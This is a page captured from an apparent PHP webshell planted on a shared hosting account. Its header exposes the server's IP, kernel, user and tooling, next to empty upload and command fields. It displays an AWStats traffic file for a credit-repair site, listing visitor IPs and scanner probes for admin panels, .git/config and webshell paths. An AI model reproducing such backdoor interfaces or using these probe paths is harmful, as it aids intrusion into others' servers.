403Webshell
Server IP : 192.64.118.117  /  Your IP : 3.147.48.123
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/tmp/awstats/ssl/awstats062021.wefixcredit.acreditrepaircorp.com.txt
AWSTATS DATA FILE 7.7 (build 20180105)
# If you remove this file, all statistics for date 202106 will be lost/reset.
# Last config file used to build this data file was /home/thecgapy/tmp/awstats/ssl/awstats.wefixcredit.acreditrepaircorp.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2034                
POS_TIME 2713                
POS_VISITOR 11260               
POS_DAY 19635               
POS_DOMAIN 3511                
POS_LOGIN 4044                
POS_ROBOT 4199                
POS_WORMS 5061                
POS_EMAILSENDER 5192                
POS_EMAILRECEIVER 5335                
POS_SESSION 20409               
POS_SIDER 20578               
POS_FILETYPES 5470                
POS_DOWNLOADS 5737                
POS_OS 5785                
POS_BROWSER 6065                
POS_SCREENSIZE 7362                
POS_UNKNOWNREFERER 7436                
POS_UNKNOWNREFERERBROWSER 7971                
POS_ORIGIN 8267                
POS_SEREFERRALS 8405                
POS_PAGEREFS 8590                
POS_SEARCHWORDS 8826                
POS_KEYWORDS 8978                
POS_MISC 2377                
POS_ERRORS 9037                
POS_CLUSTER 3900                
POS_SIDER_404 9146                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20210701005336 43 16381 13049263819740
FirstTime 20210601050822
LastTime 20210630184717
LastUpdate 20210701091850 43 0 42 0 0
TotalVisits 221                 
TotalUnique 209                 
MonthHostsKnown 0                   
MonthHostsUnknown 218                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
DirectorSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
FlashSupport 0 0 0
AddToFavourites 0 0 0
TotalMisc 0 0 0
QuickTimeSupport 0 0 0
PDFSupport 0 0 0
JavascriptDisabled 0 0 0
RealPlayerSupport 0 0 0
JavaEnabled 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 2 3 36873 15 28 1778614
1 1 1 0 18 58 260697
2 2 2 11120 11 26 97864
3 1 4 21274 8 17 44801
4 2 2 9678 16 32 89979
5 8 8 100425 34 81 3654950
6 4 39 3600676 1 17 16414
7 4 4 44595 18 56 544759
8 14 150 14419638 31 66 2669716
9 6 74 7132922 17 41 2698723
10 17 133 10886492 17 40 937823
11 3 3 16680 9 42 1785960
12 8 45 3654908 11 44 1110498
13 6 6 78070 14 40 1111141
14 6 40 3588701 14 46 4312465
15 14 117 10860923 23 44 5278170
16 7 41 3638971 44 89 2039892
17 3 3 39035 29 51 4456144
18 7 115 10708061 48 66 942390
19 7 41 3610983 12 29 73185
20 111 181 7756091 19 56 115876
21 23 91 7179658 23 48 1067236
22 8 76 7155162 14 34 100953
23 6 40 3583141 17 32 386218
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 22
us 207 745 54980550
gb 8 110 10732858
in 6 40 3577649
de 6 6 81144
ca 6 77 7151277
cn 5 5 50155
ke 3 3 5628
ru 3 3 39035
eg 2 2 11120
pe 2 36 3566461
ar 2 36 3566461
ua 2 2 11120
iq 2 36 3566461
sc 2 2 11120
sa 2 2 11120
nl 2 2 11120
ro 2 2 109199
se 2 2 11120
pt 2 36 3566461
jm 2 36 3566461
fr 1 1 5560
ky 1 35 3501997
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 19
Googlebot/ 266 1610366 20210629082539 0
bot[\s_+:,\.\;\/\\-] 78 433680 20210629173049 0
bingpreview 51 3729422 20210614054321 0
facebookexternalhit/ 49 28449481 20210629144225 0
YandexBot/ 23 127880 20210628185604 0
AhrefsBot/ 19 104198 20210630175315 0
bingbot/ 15 44480 20210630024548 0
MJ12bot/ 10 55600 20210628214147 0
LinkedInBot/ 6 3060 20210619033054 0
Googlebot\-Image/ 6 734746 20210628225218 0
MegaIndex\.ru/ 4 22240 20210629133324 0
spider 4 22240 20210620193251 0
DotBot/ 2 55830 20210606221258 0
discover 2 11120 20210616072809 0
no_user_agent 1 27915 20210620120705 0
SemrushBot/ 1 27915 20210618230332 0
Baiduspider/ 1 27915 20210614171412 0
BLEXBot/ 1 5560 20210609074617 0
YandexImages/ 1 2048 20210623020445 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 11
ttf 1 81186 0 0
css 196 1277388 0 0
html 238 1737020 0 0
jpg 216 62041275 0 0
png 303 29592652 0 0
php 4 136 0 0
woff2 25 1611600 0 0
js 207 1694917 0 0
woff 1 81284 0 0
cgi 1 4118 0 0
svg 27 12501 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 17
macosx8 1 1
macosx9 1 1
winvista 1 1
win10 96 28
win7 13 5
Unknown 48 14
linuxandroid 838 50
win8 1 1
winlong 3 3
win8.1 1 1
macosx11 4 4
winxp 5 5
ios_iphone 2 2
macosx12 2 2
macosx 2 2
macosx10 1 1
linux 200 149
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 59
firefox88.0 1 1
chrome51.0.2704.103 3 3
chrome45.0.2454.94 1 1
chrome73.0.3683.90 1 1
firefox72.0 5 2
chrome83.0.4103.106 1 1
safari 36 2
chrome85.0.4183.121 6 6
chrome91.0.4472.77 2 2
chrome81.0.4044.138 180 10
chrome88.0.4324.146 2 2
chrome55.0.2883.87 1 1
Unknown 4 4
chrome78.0.3904.70 1 1
chrome91.0.4472.120 36 2
firefox82.0 3 3
chrome64.0.3282.186 4 4
chrome80.0.3987.99 36 2
chrome59.0.3071.115 1 1
chrome28.0.1464.0 1 1
firefox15.0.1 2 2
chrome41.0.2225.0 2 2
chrome41.0.2228.0 1 1
chrome42.0.2311.90 1 1
firefox67.0 1 1
chrome74.0.3729.131 1 1
chrome83.0.4103.97 123 123
chrome84.0.4147.125 1 1
safari10.0 1 1
mozilla 43 9
chrome34.0.1847.116 2 2
chrome90.0.4430.66 108 6
firefox57.0 1 1
chrome88.0.4240.193 2 2
firefox35.0 1 1
msie9.0 8 0
chrome83.0.4103.61 1 1
firefox89.0 1 1
chrome87.0.4280.101 37 3
chrome91.0.4472.106 72 4
chrome88.0.4324.93 71 3
firefox52.0 2 2
chrome79.0.3945.88 1 1
chrome84.0.4147.105 1 1
chrome72.0.3626.121 1 1
chrome35.0.1916.47 1 1
chrome90.0.4430.82 367 21
chrome26.0.1410.65 1 1
chrome85.0.4183.102 20 6
chrome86.0.4240.75 1 1
chrome53.0.2785.143 2 2
firefox68.0 1 1
chrome70.0.3538.110 1 1
safari11.0 2 2
msie6.0 4 4
chrome40.0.2214.93 1 1
firefox84.0 3 3
chrome78.0.3904.108 4 4
opera54.0.2952.71 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 6
CATExplorador/1.0beta_(sistemes_at_domini_dot_cat;_http://domini.cat/catexplorador.html) 20210630165951
Mozilla/5.0_(compatible;_ips-agent) 20210605155842
HubSpot_Connect_2.0_(http://dev.hubspot.com/)_-_BizOpsCompanies-Tq2-BizCoDomainValidationAudit 20210629055016
Mozilla/5.0_Firefox/35.0 20210628050515
Mozilla/5.0_(compatible;_NetcraftSurveyAgent/1.0;__info@netcraft.com) 20210603150636
Mozilla/5.0_(compatible;_Dataprovider.com) 20210611151722
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 2
HubSpot_Connect_2.0_(http://dev.hubspot.com/)_-_BizOpsCompanies-Tq2-BizCoDomainValidationAudit 20210629055016
CATExplorador/1.0beta_(sistemes_at_domini_dot_cat;_http://domini.cat/catexplorador.html) 20210630165951
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 195 203
From1 0 0
From2 3 6
From3 3 3
From4 69 1007
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 2
www_google_com_hk 1 1
www_google_com 2 5
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 3
http://m.facebook.com 1 1
http://ovias.uk-events.com 1 1
http://psvue.uk-events.com 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 3
206 15 77840
404 497 0
302 5 932
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 80
/web/ 1 -
//cms/wp-includes/wlwmanifest.xml 3 -
/backup/ 1 -
/demo/ 1 -
/blog/ 1 -
/img/icons/image3.png/1.php 1 -
/old-wp/ 1 -
//shop/wp-includes/wlwmanifest.xml 3 -
/.git/config 1 -
//test/wp-includes/wlwmanifest.xml 3 -
/atom.xml 7 -
//media/wp-includes/wlwmanifest.xml 2 -
/tmp/ 1 -
/dev/ 1 -
/admin/login.cgi 1 -
/robots.txt 295 -
/sitemap.xml.gz 8 -
/install/ 1 -
/bk/ 1 -
//sito/wp-includes/wlwmanifest.xml 3 -
//2020/wp-includes/wlwmanifest.xml 1 -
/wordpress/ 1 -
/administrator/login.php 1 -
//2018/wp-includes/wlwmanifest.xml 2 -
/2019/ 1 -
/home/ 1 -
/sitemap_index.xml 6 -
/test/ 1 -
//wp1/wp-includes/wlwmanifest.xml 3 -
/site/ 1 -
/wp1/ 1 -
/sitemap.xml 8 -
//news/wp-includes/wlwmanifest.xml 3 -
//blog/wp-includes/wlwmanifest.xml 3 -
//wordpress/wp-includes/wlwmanifest.xml 3 -
/v1/ 1 -
/privacy-policy.html 1 -
//site/wp-includes/wlwmanifest.xml 3 -
/2020/ 1 -
/moderator/ 1 -
/wp/ 1 -
/main/ 1 -
//wp2/wp-includes/wlwmanifest.xml 3 -
/wp2/ 1 -
/v2/ 1 -
/temp/ 1 -
/sitemaps.xml 8 -
/tel:(561)288-8816 2 https://wefixcredit.org/
/admin_panel/ 1 -
/sitemap.txt 8 -
/new/ 1 -
/cms/ 1 -
/partners.html 1 -
/bak/ 1 -
/signup-now.html 1 -
/adminarea/ 1 -
//web/wp-includes/wlwmanifest.xml 3 -
/img/logo.png/1.php 1 -
/moderator/admin.php 1 -
/2018/ 1 -
//wp-includes/wlwmanifest.xml 3 -
/old-site/ 1 -
/ads.txt 39 -
/admin2/ 1 -
/humans.txt 2 http://wefixcredit.org/humans.txt
/new-site/ 1 -
//2019/wp-includes/wlwmanifest.xml 3 -
//xmlrpc.php 3 -
/tel:(561)%20288-8816 2 https://wefixcredit.org/
/administrator/login.aspx 1 -
/admincontrol/ 1 -
/xmlrpc.php 1 -
/img/favicon.png 10 https://www.wefixcredit.org/
/success-stories.html 1 -
/old/ 1 -
//website/wp-includes/wlwmanifest.xml 3 -
//wp/wp-includes/wlwmanifest.xml 3 -
/siteadmin/ 1 -
/pages/admin/ 1 -
/administrator/login.admin 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 218
3.133.111.252 6 20 136954 20210601101044
129.146.168.176 4 4 111660 20210603080406
149.56.150.32 4 4 111660 20210611151124
108.226.57.131 4 72 7132922 20210628215653
103.124.228.83 3 3 5628 20210610120134
41.89.239.23 3 3 5628 20210603205804
137.226.113.44 3 3 16680 20210629081553
138.246.253.24 2 2 0 20210616235536
54.213.105.187 2 2 11120 20210607210027
34.220.61.45 2 2 11120 20210629203207
76.110.55.57 2 36 3566461 20210619095407
98.186.207.14 2 36 3566461 20210618081819
34.222.123.136 2 2 11120 20210609202547
73.118.131.83 2 36 3566461 20210629144246
146.168.136.220 2 36 3566461 20210628152922
18.237.142.110 2 2 11120 20210609201956
72.13.62.27 2 2 11120 20210605155842
34.217.14.226 2 2 11120 20210609202240
99.38.164.49 2 36 3566461 20210606083803
223.184.90.176 2 36 3566461 20210626063353
179.7.226.97 2 36 3566461 20210614201813
5.188.62.214 2 2 11120 20210605150923
54.203.73.198 2 2 11120 20210615131539
85.208.21.164 2 2 11120 20210630165951
47.150.232.85 2 36 3566461 20210627084057
54.203.3.145 1 1 5560 20210607203822
35.162.172.220 1 1 5560 20210601214634
52.53.153.228 1 1 5560 20210618114923
35.165.153.154 1 1 5560 20210609223352
54.69.224.241 1 1 5560 20210628203609
54.153.4.189 1 1 5560 20210611163323
52.35.207.144 1 1 5560 20210619200702
34.77.68.90 1 1 5560 20210623194540
93.158.90.144 1 1 5560 20210608135644
34.210.121.81 1 1 5560 20210608201838
52.89.159.174 1 1 5560 20210619200401
52.65.15.196 1 1 5560 20210609130902
34.219.156.138 1 1 5560 20210603201952
24.131.209.128 1 1 5560 20210617070532
34.78.52.33 1 1 5560 20210608192124
34.212.29.251 1 1 5560 20210624204607
167.99.119.150 1 1 27915 20210603133815
71.84.60.191 1 25 2457919 20210620182955
167.99.48.249 1 1 5560 20210626023121
54.191.249.20 1 1 5560 20210601221825
134.122.7.174 1 1 27915 20210613134419
34.222.89.51 1 1 5560 20210601214421
18.236.95.76 1 1 5560 20210619200545
54.244.175.203 1 1 5560 20210602200754
34.220.73.41 1 1 5560 20210624204649
54.212.118.248 1 1 5560 20210629203640
23.19.75.76 1 1 5560 20210611050841
199.30.228.134 0 4 961506 
175.44.42.133 1 1 5560 20210611233952
51.15.127.88 1 1 5560 20210623082321
199.30.228.135 1 16 1218378 20210610194923
34.212.136.25 1 1 5560 20210613202558
54.201.246.71 1 1 5560 20210622203728
34.221.178.107 1 1 5560 20210614203409
34.219.60.135 1 1 5560 20210606202230
54.202.165.175 1 1 5560 20210624203732
54.190.123.232 1 1 5560 20210617204529
54.149.184.113 1 1 5560 20210604200731
199.244.88.132 1 1 0 20210608091421
34.210.5.223 1 1 5560 20210608201804
71.9.216.143 1 35 3501997 20210623214451
18.237.246.103 1 1 5560 20210620210657
34.223.6.141 1 1 5560 20210603201500
52.59.187.163 1 1 0 20210604093802
193.168.176.64 1 1 64464 20210611125925
199.30.228.128 0 5 474760 
34.222.56.91 1 1 5560 20210613202336
34.222.217.129 1 1 5560 20210613203153
100.21.218.158 1 1 5560 20210602051552
207.46.13.62 0 1 32836 
34.208.40.218 1 1 5560 20210602201056
52.43.20.206 1 1 5560 20210603201518
34.219.156.37 1 1 5560 20210627202711
54.190.62.4 1 1 5560 20210617204721
34.215.230.37 1 1 5560 20210602200849
34.216.253.12 1 1 5560 20210626202128
34.219.150.36 1 1 5560 20210601230301
69.12.66.213 1 1 4118 20210610040552
34.211.149.251 1 1 5560 20210607203658
52.26.87.33 1 1 5560 20210620204920
52.39.96.253 1 1 5560 20210624204702
208.80.194.41 1 1 27915 20210606005651
18.237.237.178 1 1 5560 20210624204531
199.30.228.133 1 5 620045 20210610194924
37.120.145.94 1 1 27915 20210601101338
45.148.124.98 1 1 5560 20210617025501
54.185.2.108 1 1 5560 20210618202344
35.164.205.61 1 1 5560 20210625202444
54.202.214.249 1 1 5560 20210620210849
216.105.180.208 1 1 5560 20210622213421
34.212.193.202 1 1 5560 20210607205436
54.213.99.125 1 1 5560 20210627201522
54.214.116.247 1 1 5560 20210601214549
34.217.34.27 1 1 5560 20210601224707
161.35.180.68 1 1 27915 20210603150636
37.238.38.45 2 36 3566461 20210608100219
106.5.174.103 1 1 5560 20210613171440
35.167.128.229 1 1 5560 20210612202323
52.41.73.220 2 2 11120 20210608201404
54.201.219.197 1 1 5560 20210611203450
52.35.19.206 1 1 5560 20210617204706
54.212.110.174 1 1 5560 20210606203108
50.18.2.243 1 1 27915 20210619065925
34.221.232.255 1 1 5560 20210621203258
54.188.204.78 1 1 5560 20210620211155
72.27.87.178 2 36 3566461 20210601225038
196.17.221.94 1 1 5560 20210626100336
34.220.53.99 1 1 5560 20210613202301
18.237.195.56 1 1 5560 20210614203915
18.237.30.16 1 1 5560 20210606202513
54.200.129.241 1 1 5560 20210619200720
3.9.175.245 1 1 5560 20210608102231
192.99.18.108 2 5 18355 20210608124621
54.245.150.73 1 1 5560 20210627202453
195.154.200.100 1 1 5560 20210615051745
175.44.42.74 1 1 5560 20210611214828
52.38.248.235 1 1 5560 20210628203537
65.28.100.166 2 36 3566461 20210629163418
18.237.217.218 1 1 5560 20210605202301
54.201.151.57 1 1 5560 20210610203351
34.216.198.173 1 1 5560 20210620210008
54.218.210.194 1 1 5560 20210619200435
136.244.97.1 1 1 5560 20210622101928
95.79.202.108 1 1 27915 20210625170630
40.77.167.11 0 1 5285 
18.236.159.210 1 1 5560 20210624204607
18.237.221.106 1 1 5560 20210618202510
92.4.83.177 2 36 3566461 20210612152823
37.189.225.179 2 36 3566461 20210605080238
34.217.210.89 1 1 5560 20210608201201
54.68.170.16 1 1 5560 20210612004225
54.174.54.58 1 1 0 20210629055016
52.39.64.57 1 1 5560 20210628203727
93.158.91.189 1 1 5560 20210613061109
34.213.161.236 1 1 5560 20210605203549
54.201.170.245 1 1 5560 20210607203325
54.174.53.127 1 1 0 20210608055015
34.219.180.109 1 1 5560 20210603202028
206.255.59.50 2 36 3566461 20210609101330
35.165.41.153 1 1 5560 20210618202316
52.43.41.228 1 1 5560 20210620204754
199.30.228.132 0 6 308494 
54.213.103.21 1 1 5560 20210602201412
54.190.14.213 1 1 5560 20210620204810
99.234.190.101 2 36 3566461 20210615204055
157.55.39.45 0 2 1950 
51.77.128.212 2 36 3566461 20210611151722
54.191.182.75 1 1 5560 20210615200903
34.217.79.190 1 1 5560 20210629203140
54.213.165.228 1 1 5560 20210601213702
34.220.13.221 1 1 5560 20210606202313
24.214.77.53 2 36 3566461 20210630184717
18.237.40.123 1 1 5560 20210613202509
52.34.71.152 1 1 5560 20210620210636
124.206.180.139 1 1 27915 20210628050515
34.223.250.127 1 1 5560 20210617204608
54.187.106.153 1 1 5560 20210614203847
34.216.177.189 1 1 5560 20210609193754
54.149.198.113 1 1 5560 20210616201028
74.222.71.208 1 35 3501997 20210613181457
52.36.31.206 1 1 5560 20210608201238
162.55.211.50 1 1 5560 20210625235626
75.113.133.237 1 17 1148209 20210620182947
34.212.40.53 1 1 5560 20210616200133
107.150.63.174 1 1 5560 20210608200617
35.164.153.80 1 1 5560 20210610205159
157.55.39.187 0 2 12930 
34.219.205.208 1 1 5560 20210620211207
68.58.164.103 2 36 3566461 20210624232818
18.237.184.255 1 1 5560 20210616201017
52.33.132.41 1 1 5560 20210626200949
18.237.148.160 1 1 5560 20210606202135
34.220.14.177 1 1 5560 20210629203705
52.12.225.195 1 1 5560 20210615200946
34.222.110.148 1 1 5560 20210629203051
144.126.139.247 1 1 5560 20210624143820
50.112.19.133 1 1 5560 20210620210049
54.184.243.38 1 1 5560 20210624204553
54.185.156.26 1 1 5560 20210614203430
54.202.82.141 1 1 5560 20210618202557
82.78.49.27 1 1 81284 20210605080244
34.201.106.23 1 1 5560 20210615212723
40.77.167.52 0 1 8039 
2.98.27.22 2 36 3566461 20210611125915
18.237.30.6 1 1 5560 20210601214147
34.217.64.96 1 1 5560 20210601214321
54.187.233.243 1 1 5560 20210626202458
35.161.41.50 1 1 5560 20210629203144
54.202.182.53 2 2 11120 20210620211419
46.101.80.192 2 2 11120 20210605071221
34.208.149.3 1 1 5560 20210625195124
34.211.147.227 1 1 5560 20210619200342
54.245.142.209 1 1 5560 20210621203220
165.231.24.69 1 1 5560 20210626100351
35.161.181.88 1 1 5560 20210629203041
3.101.38.152 1 1 5560 20210604110939
156.248.73.44 2 2 11120 20210616145939
51.210.219.11 1 1 27915 20210615071904
212.90.39.68 2 2 11120 20210625080424
35.161.251.164 1 1 5560 20210602201245
179.0.235.107 2 36 3566461 20210607091117
172.247.250.146 1 1 27915 20210616183830
69.36.160.154 2 2 11120 20210627202341
52.13.124.242 1 1 5560 20210603202225
34.219.253.244 1 1 5560 20210624203700
54.202.48.22 2 2 11120 20210609202434
175.5.246.245 1 1 5560 20210608111532
207.46.13.155 0 1 3398 
137.135.112.13 2 2 55830 20210628160458
35.165.180.31 1 1 5560 20210605203426
173.22.40.6 2 36 3566461 20210610103226
34.217.59.167 1 1 5560 20210625202425
34.71.20.225 2 2 11120 20210625180433
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 30
20210601 22 70 3848320 15
20210602 6 6 33360 6
20210603 12 12 145088 9
20210604 7 8 33085 7
20210605 12 50 3709598 8
20210606 8 42 3622176 7
20210607 8 42 3599821 7
20210608 16 53 3640416 14
20210609 11 45 3616501 8
20210610 10 78 7170510 7
20210611 15 83 7342406 10
20210612 4 38 3577581 3
20210613 9 43 3568832 9
20210614 6 40 3588701 5
20210615 10 80 7227938 8
20210616 7 7 55715 6
20210617 6 6 33360 6
20210618 7 41 3594261 6
20210619 10 44 3633296 9
20210620 14 54 3672848 13
20210621 2 2 11120 2
20210622 3 3 16680 3
20210623 3 37 3513117 3
20210624 11 46 3624540 10
20210625 8 8 66835 8
20210626 8 42 3599821 7
20210627 7 41 3594261 5
20210628 10 78 7233347 7
20210629 14 82 7182962 11
20210630 4 38 3577581 2
END_DAY

# Session range - Number of visits
BEGIN_SESSION 3
0s-30s 216
5mn-15mn 3
30s-2mn 2
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 6
/ 238 1737020 216 191
/assets/fonts/fontawesome-webfont93e3.woff2 25 1611600 2 25
/sendmail.php 4 136 0 2
/assets/fonts/fontawesome-webfont93e3.ttf 1 81186 1 1
/assets/fonts/fontawesome-webfont93e3.woff 1 81284 1 1
/cgi-sys/suspendedpage.cgi 1 4118 1 1
END_SIDER

Youez - 2016 - github.com/yon3zu
LinuXploit